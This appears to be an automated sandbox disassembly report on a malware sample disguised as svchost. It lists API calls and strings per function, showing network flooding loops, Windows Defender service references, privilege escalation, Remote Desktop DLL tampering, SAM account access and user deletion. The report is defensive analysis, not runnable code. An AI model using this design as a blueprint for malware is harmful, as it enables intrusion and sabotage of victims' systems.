Function 004046C0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 141networkthreadCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 004046D6
socket.WS2_32(00000002,00000001,00000000), ref: 004046E2
htons.WS2_32 ref: 0040470B
inet_addr.WS2_32(00424EF0), ref: 0040471B
malloc.MSVCRT ref: 0040472A
ExitThread.KERNEL32 ref: 0040488D

Part of subcall function 00401E40: GetTickCount.KERNEL32 ref: 00401E41
Part of subcall function 00401E40: rand.MSVCRT ref: 00401E49

sprintf.MSVCRT ref: 004047F3
sprintf.MSVCRT ref: 00404824
connect.WS2_32(00000000,?,00000010), ref: 00404834
send.WS2_32(00000000,?,?,00000000), ref: 00404858
recv.WS2_32(00000000,?,00000080,00000000), ref: 00404870
closesocket.WS2_32(00000000), ref: 00404877

Strings

#0%s!, xrefs: 0040481E
%s/%s, xrefs: 004047ED

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: sprintf$CountExitStartupThreadTickclosesocketconnecthtonsinet_addrmallocrandrecvsendsocket
String ID: #0%s!$%s/%s
API String ID: 1714399493-1627496495
Opcode ID: 680597028d39379ebe41936aa1717309203188f27634201002a16612c2a9bf94
Instruction ID: ab5969f67312f079869e52e8d417eb4eb7e1ebb555b0c58a03547fc10b44f5cf
Opcode Fuzzy Hash: 680597028d39379ebe41936aa1717309203188f27634201002a16612c2a9bf94
Instruction Fuzzy Hash: D141D5B1148340AEE310DF64DC59BAB7BE4EFC4704F004A3DF699A72D1E7B49505879A

Function 00404C80 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 100networksleepthreadCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000000), ref: 00404CBE

Part of subcall function 00401F30: inet_addr.WS2_32(?), ref: 00401F36
Part of subcall function 00401F30: gethostbyname.WS2_32(?), ref: 00401F41

wsprintfA.USER32 ref: 00404CED
socket.WS2_32(00000002,00000001,00000006), ref: 00404D29
connect.WS2_32(00000000,?,00000010), ref: 00404D39
setsockopt.WS2_32 ref: 00404D58
setsockopt.WS2_32(00000000,0000FFFF,00001001,?,00000004), ref: 00404D74
send.WS2_32(00000000,?,00000001,00000000), ref: 00404D88
Sleep.KERNEL32(00000001), ref: 00404D90
closesocket.WS2_32(00000000), ref: 00404D96
Sleep.KERNEL32(0000001E), ref: 00404D9E
closesocket.WS2_32(?), ref: 00404DB6
ExitThread.KERNEL32 ref: 00404DBE

Strings

GET / HTTP/1.1Host: %s:%dPragma: no-cacheConnection: Keep-Alive, xrefs: 00404CE7

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Sleepclosesocketsetsockopt$ExitThreadconnectgethostbynamehtonsinet_addrsendsocketwsprintf
String ID: GET / HTTP/1.1Host: %s:%dPragma: no-cacheConnection: Keep-Alive
API String ID: 3211779375-3649629926
Opcode ID: 88999a2208355eda425a4e125daaf7d8251f78d2937269529669519c5df4a942
Instruction ID: 46d4326bfb37b0be3b801fd705ce682eb8df16aaf56af6c4a29709921c6b5d8d
Opcode Fuzzy Hash: 88999a2208355eda425a4e125daaf7d8251f78d2937269529669519c5df4a942
Instruction Fuzzy Hash: F6319271288301AEE310CFA4DC45BAB77E4FF88B14F40492DF695A62D1D7B499058BAE

Function 00414B14 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00414B41
__p__fmode.MSVCRT ref: 00414B56
__p__commode.MSVCRT ref: 00414B64
__setusermatherr.MSVCRT ref: 00414B90
_initterm.MSVCRT ref: 00414BA6
__getmainargs.MSVCRT ref: 00414BC9
_initterm.MSVCRT ref: 00414BD9
GetStartupInfoA.KERNEL32(?), ref: 00414C18
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00414C3C
exit.MSVCRT ref: 00414C4C
_XcptFilter.MSVCRT ref: 00414C5E

Strings

0B, xrefs: 00414BC1, 00414BC4

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: 0B
API String ID: 801014965-2157480381
Opcode ID: 043eb8ce1b15b38525e29081e80ea990bc9e18edb0f4fe8130b0a776e15f405a
Instruction ID: 88391500c143bfbd311709f6a039096a8b8180797a4b2814b649458b60acd864
Opcode Fuzzy Hash: 043eb8ce1b15b38525e29081e80ea990bc9e18edb0f4fe8130b0a776e15f405a
Instruction Fuzzy Hash: 864183B1D81358AFDB20DFA4DC85AE97BB8EB49710F20012FE45197261E7785881CBA8

Function 0040E280 Relevance: 21.1, APIs: 3, Strings: 11, Instructions: 76stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040E304

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

lstrlenA.KERNEL32(?), ref: 0040E330
lstrlenA.KERNEL32(?), ref: 0040E357

Strings

n, xrefs: 0040E2D0
SYSTEM\CurrentControlSet\Services\%s, xrefs: 0040E2B6
m, xrefs: 0040E2F5
t, xrefs: 0040E2E1
I, xrefs: 0040E2BE
T, xrefs: 0040E2EB
i, xrefs: 0040E2F0
e, xrefs: 0040E2FA
MsMpEng, xrefs: 0040E2AA
s, xrefs: 0040E2DB
a, xrefs: 0040E2E6

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Openwsprintf
String ID: I$MsMpEng$SYSTEM\CurrentControlSet\Services\%s$T$a$e$i$m$n$s$t
API String ID: 2249594862-329891336
Opcode ID: f052c8409894c43006b3a85101daf134c6aa599e30b0629296c624b0892f7d8b
Instruction ID: ac1c2daa4427a246440afd0d15ab9c13736bf8eaaddb10547b55a061c3466d03
Opcode Fuzzy Hash: f052c8409894c43006b3a85101daf134c6aa599e30b0629296c624b0892f7d8b
Instruction Fuzzy Hash: 8121F73120C3849AE315D628DC4179BBEC69BD9718F440A6DB699933C2C6F99A1C836B

Function 004122D0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 66sleepstringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004122E0
lstrcatA.KERNEL32(?,\termsrv.dll,?,00000104), ref: 004122F0

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

Part of subcall function 00412240: CreateToolhelp32Snapshot.KERNEL32 ref: 00412255
Part of subcall function 00412240: Process32First.KERNEL32(00000000,?), ref: 00412262
Part of subcall function 00412240: Process32Next.KERNEL32(00000000,?), ref: 004122A0
Part of subcall function 00412240: CloseHandle.KERNEL32(00000000,00000000,?), ref: 004122AB

Part of subcall function 00414110: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00414157
Part of subcall function 00414110: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll), ref: 0041416F
Part of subcall function 00414110: GetLastError.KERNEL32(?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414175
Part of subcall function 00414110: CloseHandle.KERNEL32(?,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414186

Part of subcall function 00412000: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041200D
Part of subcall function 00412000: Process32First.KERNEL32(00000000), ref: 00412028
Part of subcall function 00412000: lstrcmpiA.KERNEL32(?,?), ref: 00412044
Part of subcall function 00412000: Process32Next.KERNEL32(00000000,?), ref: 00412050
Part of subcall function 00412000: CloseHandle.KERNEL32(00000000,00000000), ref: 00412069

AbortSystemShutdownA.ADVAPI32(00000000), ref: 00412348
EnumWindows.USER32(Function_00011FB0,00000000), ref: 00412373
EnumWindows.USER32(Function_00011FB0,00000000), ref: 0041237B
Sleep.KERNEL32(0000000A,?,?,?,?,?,?,\termsrv.dll,?,00000104), ref: 0041237F
AbortSystemShutdownA.ADVAPI32(00000000), ref: 00412383

Strings

SeDebugPrivilege, xrefs: 004122F8, 0041231B
SeShutdownPrivilege, xrefs: 00412327, 0041238D
\termsrv.dll, xrefs: 004122EA
csrss.exe, xrefs: 00412331
drwtsn32.exe, xrefs: 0041235C

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Process32$CloseHandleSystem$AbortCreateEnumFirstNextProcessShutdownSnapshotTokenToolhelp32Windows$AdjustCurrentDirectoryErrorLastLookupOpenPrivilegePrivilegesSleepValuelstrcatlstrcmpi
String ID: SeDebugPrivilege$SeShutdownPrivilege$\termsrv.dll$csrss.exe$drwtsn32.exe
API String ID: 2896325759-3630850118
Opcode ID: ebb4aac17a1a3a0ab83a63b2ce3d5615584423548396633eb170091a55ad9d99
Instruction ID: fc0a129365ffeec31c490877d5cf975e4768510d2c55f50ec846b660ef0f1838
Opcode Fuzzy Hash: ebb4aac17a1a3a0ab83a63b2ce3d5615584423548396633eb170091a55ad9d99
Instruction Fuzzy Hash: C11191717C031573E51073B1AC87FE73A188B94B48F544426BA04951D2EAED95E4827E

Function 0040C950 Relevance: 19.6, APIs: 13, Instructions: 74COMMON

Download Yara Rule

APIs

ReleaseDC.USER32(?,?), ref: 0040C988
DeleteDC.GDI32(?), ref: 0040C998
DeleteDC.GDI32(?), ref: 0040C99E
DeleteDC.GDI32(?), ref: 0040C9A4
DeleteDC.GDI32(?), ref: 0040C9AD
DeleteObject.GDI32(?), ref: 0040C9B9
DeleteObject.GDI32(?), ref: 0040C9BF
DeleteObject.GDI32(?), ref: 0040C9C8
??3@YAXPAX@Z.MSVCRT ref: 0040C9D2
??3@YAXPAX@Z.MSVCRT ref: 0040C9DE
??3@YAXPAX@Z.MSVCRT ref: 0040C9E7
??3@YAXPAX@Z.MSVCRT ref: 0040C9F0
DestroyCursor.USER32(00000000), ref: 0040CA16

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Delete$??3@$Object$CursorDestroyRelease
String ID:
API String ID: 2735177900-0
Opcode ID: 9486e7c6be9aee73992dd693d3190c932110ed2e0c68265649865e6a7dea3234
Instruction ID: 52f3f4d51dd927a0dd1fa8e614a2a7db7bd14acf618f642e3d7301e51363d720
Opcode Fuzzy Hash: 9486e7c6be9aee73992dd693d3190c932110ed2e0c68265649865e6a7dea3234
Instruction Fuzzy Hash: A621FAB26107009BD720EBA9DC80B97F3E9FF88714F158D2EE59683750DB79E8448B94

Function 00411DE0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 69stringmemorylibraryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00411DF5
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00411E0B
lstrcatA.KERNEL32(?,?), ref: 00411E1E
LocalAlloc.KERNEL32(00000040,00000400), ref: 00411E2B
GetFileAttributesA.KERNEL32(?), ref: 00411E3B
LoadLibraryA.KERNEL32(?), ref: 00411E4E
lstrlenA.KERNEL32(?,?), ref: 00411E69
lstrlenA.KERNEL32(?), ref: 00411E89
LocalReAlloc.KERNEL32(00000000,00000003,00000042), ref: 00411E93
LocalFree.KERNEL32(00000000), ref: 00411EA7

Strings

\termsrv_t.dll, xrefs: 00411DEB

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Local$Alloclstrlen$AttributesDirectoryFileFreeLibraryLoadSystemlstrcatwsprintf
String ID: \termsrv_t.dll
API String ID: 2807520882-1337493607
Opcode ID: 2414b5a653f160c11e15885980e10be542afa79dd4e64c0674cf69c3722cdd8a
Instruction ID: 05c27e571cea8acd1983a01bfa50ace96e97a26b23719d491fa0ec4281b5272c
Opcode Fuzzy Hash: 2414b5a653f160c11e15885980e10be542afa79dd4e64c0674cf69c3722cdd8a
Instruction Fuzzy Hash: 16213B71140301AFC710DFA0DC89EEB7BA8EF85710F00C92DFA5593191D7349549CB69

Function 00409270 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 69stringfileCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00409284
lstrcatA.KERNEL32(?,\MODIf.html,?,00000000), ref: 00409294
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000004,00000080,00000000,?,00000000), ref: 004092B1
GetFileSize.KERNEL32 ref: 004092C4
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 004092D8
lstrlenA.KERNEL32(?), ref: 004092E6
??2@YAPAXI@Z.MSVCRT ref: 004092EF
lstrlenA.KERNEL32(?,?,00000000,00000000), ref: 00409315
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040931E
CloseHandle.KERNEL32(00000000), ref: 00409325

Strings

\MODIf.html, xrefs: 0040928E

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: File$lstrlen$??2@CloseCreateDirectoryHandlePointerSizeSystemWritelstrcat
String ID: \MODIf.html
API String ID: 1365335203-2523469999
Opcode ID: b87311ccf0c55f3d5eeee418bb9b541687ab1e7c35678ff124c0d17581b8e9f3
Instruction ID: dd8800d839664d7b320e0327a76d68959763a9a116c498d056913958b91af70c
Opcode Fuzzy Hash: b87311ccf0c55f3d5eeee418bb9b541687ab1e7c35678ff124c0d17581b8e9f3
Instruction Fuzzy Hash: 2211EE711C43147BF3205B60AC8AFEB3B5CDB49B11F104524FA82A51D2D67598448B69

Function 0040B4B0 Relevance: 18.2, APIs: 12, Instructions: 193registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F013F,?), ref: 0040B4CE
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00000000,00000000), ref: 0040B500
LocalAlloc.KERNEL32(00000040,?), ref: 0040B53D

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: AllocInfoLocalOpenQuery
String ID:
API String ID: 2864171124-0
Opcode ID: 1043486f47f3a65aa03eabe3341e8d6cfa5bca5947d2bc615bb4d1346cd7c046
Instruction ID: 955bc8cba09384e28816f05f17e3952b2d3fb0df06cdf8039459d419fc929717
Opcode Fuzzy Hash: 1043486f47f3a65aa03eabe3341e8d6cfa5bca5947d2bc615bb4d1346cd7c046
Instruction Fuzzy Hash: 0B517AB1644304AFC314DF29DC80AABBBE9EBC8754F04892EF54A97340D735DA05CB9A

Function 00410D70 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97registrysleepCOMMON

Download Yara Rule

APIs

NetUserDel.NETAPI32(00000000,00000000), ref: 00410D96
wsprintfA.USER32 ref: 00410DDA
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00410DFA
Sleep.KERNEL32(00000032), ref: 00410E06
RegQueryValueExA.ADVAPI32 ref: 00410E33
RegCloseKey.ADVAPI32(QB), ref: 00410E3E
wsprintfA.USER32 ref: 00410E53

Part of subcall function 004108B0: LocalSize.KERNEL32(00000000), ref: 004108C0
Part of subcall function 004108B0: LocalFree.KERNEL32(00000000,?,00410D52,00000000,00000000,00000001,?,?), ref: 004108D0

Strings

QB, xrefs: 00410E39, 00410E3D
%08X, xrefs: 00410E4D
SAM\SAM\Domains\Account\Users\Names\%s, xrefs: 00410DD4

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Localwsprintf$CloseFreeOpenQuerySizeSleepUserValue
String ID: %08X$SAM\SAM\Domains\Account\Users\Names\%s$QB
API String ID: 4084116708-1161448995
Opcode ID: 4e997039cec5fd107000ab1eadd97200c78e407044601f7dbdbca4f732ff0015
Instruction ID: 6e81bd7884f73e22f33f2d297ba206330351be96731fbaabc8ae6b1bcd13e657
Opcode Fuzzy Hash: 4e997039cec5fd107000ab1eadd97200c78e407044601f7dbdbca4f732ff0015
Instruction Fuzzy Hash: 1A21EA713443016BE210EB65EC81FFF77A8DBD4718F00093EFA4191281E678D98986AF

Function 00406EC0 Relevance: 16.6, APIs: 11, Instructions: 136stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00406EF1
malloc.MSVCRT ref: 00406EF9
lstrcpyA.KERNEL32(00000000,?), ref: 00406F10
CharNextA.USER32(00000002), ref: 00406F3C
CharNextA.USER32(00000002), ref: 00406F5A
GetFileAttributesA.KERNEL32(00000000), ref: 00406F9E
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 00406FAB
GetLastError.KERNEL32 ref: 00406FB5
CharNextA.USER32(00000000), ref: 00406FD3
free.MSVCRT(00000000), ref: 00406FE8
free.MSVCRT(00000000), ref: 00407012

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CharNext$free$AttributesCreateDirectoryErrorFileLastlstrcpylstrlenmalloc
String ID:
API String ID: 3289936468-0
Opcode ID: 5af9df1819d2f13285a353eca6072179d1e9032b9f8d3669b777201df89715cc
Instruction ID: d2a006a49163a0198eb9e39ba238de694a0042eb19555d3840b10fad7acd3085
Opcode Fuzzy Hash: 5af9df1819d2f13285a353eca6072179d1e9032b9f8d3669b777201df89715cc
Instruction Fuzzy Hash: 3B41F971C446569FC7218F28A8407ABBBA4AF4A760F15417BE8A2B33C1D37C18128B9D

Function 0040D370 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87servicesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D180: GetCurrentProcess.KERNEL32(00000028), ref: 0040D18A
Part of subcall function 0040D180: OpenProcessToken.ADVAPI32(00000000), ref: 0040D191

OpenSCManagerA.ADVAPI32(00000000,00000000,00000008), ref: 0040D391
OpenServiceA.ADVAPI32(00000000,?,00000002), ref: 0040D3C9
LockServiceDatabase.ADVAPI32(00000000), ref: 0040D3D2
ChangeServiceConfigA.ADVAPI32(00000000,000000FF,00000002,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040D418
UnlockServiceDatabase.ADVAPI32(00000000), ref: 0040D423
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D430
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D433
Sleep.KERNEL32(000000C8), ref: 0040D43A

Strings

SeDebugPrivilege, xrefs: 0040D37E, 0040D449

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Service$Open$CloseDatabaseHandleProcess$ChangeConfigCurrentLockManagerSleepTokenUnlock
String ID: SeDebugPrivilege
API String ID: 2207141857-2896544425
Opcode ID: 3ef998de9d346d9ad7c18b85ac1f0f30ca009e306c0a4226d135e00d8f6f9ac6
Instruction ID: 83d55be950fd17d8fc472ba0788abb5bb68fae0120429cf2f13f90c7911cbae4
Opcode Fuzzy Hash: 3ef998de9d346d9ad7c18b85ac1f0f30ca009e306c0a4226d135e00d8f6f9ac6
Instruction Fuzzy Hash: 86212E31BC020467D72497F89C4AFAB3F54D784721F14423AFE19A72C2DD785C0D866A

Function 0040D500 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 78servicesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D180: GetCurrentProcess.KERNEL32(00000028), ref: 0040D18A
Part of subcall function 0040D180: OpenProcessToken.ADVAPI32(00000000), ref: 0040D191

OpenSCManagerA.ADVAPI32(00000000,00000000,00000002), ref: 0040D521
OpenServiceA.ADVAPI32(00000000,?,00000034), ref: 0040D559
QueryServiceStatus.ADVAPI32(00000000,?), ref: 0040D567
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 0040D58A
ControlService.ADVAPI32(00000000,00000001,?), ref: 0040D59D
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D5AA
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D5AD
Sleep.KERNEL32(000000C8), ref: 0040D5B4

Strings

SeDebugPrivilege, xrefs: 0040D50E, 0040D5C3

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Service$Open$CloseHandleProcess$ControlCurrentManagerQuerySleepStartStatusToken
String ID: SeDebugPrivilege
API String ID: 3878120848-2896544425
Opcode ID: b09efbc10bd7e71db1e68e073e6c83d61c8506febf41003ed6865345d9ae21b2
Instruction ID: f363a6ecb43476d81ac8e04711660ef06eb93821dfcdfa7db2cd616ae22d0525
Opcode Fuzzy Hash: b09efbc10bd7e71db1e68e073e6c83d61c8506febf41003ed6865345d9ae21b2
Instruction Fuzzy Hash: 7321EE317802147BE724ABF4EC4AFBF7A94EB88719F50453EFD06562C0D9B86D088569

Function 00412400 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 77sleeplibrarystringCOMMON

Download Yara Rule

APIs

atoi.MSVCRT ref: 00412430
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00412457
lstrcatA.KERNEL32(?,\termsrv_t.dll), ref: 00412469

Part of subcall function 00411F70: GetVersionExA.KERNEL32(00000000), ref: 00411F83

GetFileAttributesA.KERNEL32(?), ref: 0041247F
LoadLibraryA.KERNEL32(?), ref: 00412491
FreeLibrary.KERNEL32(00000000), ref: 0041249C
_CxxThrowException.MSVCRT(?,00421448), ref: 004124C7
Sleep.KERNEL32(000003E8), ref: 0041352E

Strings

\termsrv_t.dll, xrefs: 00412463

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Library$AttributesDirectoryExceptionFileFreeLoadSleepSystemThrowVersionatoilstrcat
String ID: \termsrv_t.dll
API String ID: 3938148649-1337493607
Opcode ID: a3d8b5c4165972faa379a41022fc842eae644efda26aebedd71c4ab33a9543eb
Instruction ID: 200551e4dd06df4016370820b46f17c2b8797dba0e3a06cad25c43b8ccb68d6a
Opcode Fuzzy Hash: a3d8b5c4165972faa379a41022fc842eae644efda26aebedd71c4ab33a9543eb
Instruction Fuzzy Hash: 1121F771A40214EBD720EB65DC45BDEB77CEB45B14F00426BF509D3280DBBC5A858AA8

Function 0040A360 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 69filestringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040A37B
lstrcatA.KERNEL32(?,\MODIf.html), ref: 0040A38B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0040A3A6
GetFileSize.KERNEL32(00000000,00000000,00000035), ref: 0040A3B6
??2@YAPAXI@Z.MSVCRT ref: 0040A3BF
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0040A3D3
??3@YAXPAX@Z.MSVCRT ref: 0040A3F9
CloseHandle.KERNEL32(00000000), ref: 0040A403

Strings

\MODIf.html, xrefs: 0040A385

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

